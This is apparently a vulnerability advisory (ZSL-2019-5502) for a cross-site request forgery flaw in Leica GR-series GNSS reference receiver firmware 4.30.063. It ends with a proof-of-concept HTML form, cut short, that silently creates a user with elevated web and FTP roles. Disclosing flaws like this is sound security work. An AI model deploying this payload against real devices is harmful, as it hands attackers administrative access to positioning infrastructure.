Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 CSRF

Leica Geosystems GR10/GR25/GR30/GR50 GNSS version 4.30.063 suffers from a cross site request forgery vulnerability.

MD5 | a2b93d0ff2e78ec2b0c4b4e70abb218f


Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 Cross-Site Request Forgery

Vendor: Leica Geosystems AG
Product web page: https://www.leica-geosystems.com
Affected version: 4.30.063

Summary: The Leica GR10 is the next generation GNSS reference station receiver
that combines the latest state-of-the-art technologies with a streamlined
'plug and play' workflow. Designed for a wide variety of GNSS reference station
applications, the Leica GR10 offers new levels of simplicity, reliability and

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: BarracudaServer.com (WindowsCE)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2019-5502
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php



<form action="" method="POST">
<input type="hidden" name="txtHelpPage" value="config_changeuser" />
<input type="hidden" name="txtUsername" value="testingus" />
<input type="hidden" name="txtPassword" value="12345678" />
<input type="hidden" name="txtConfirmPassword" value="12345678" />
<input type="hidden" name="webRole" value="3" />
<input type="hidden" name="ftpRole" value="2" />
<input type="hidden" name="TxtOperationMode" value="2" />
<input type="hidden" name="txtEditedUser" value="" />
<input type="hidden" name="userId" value="nil" />
<input type="submit" value="Init" />

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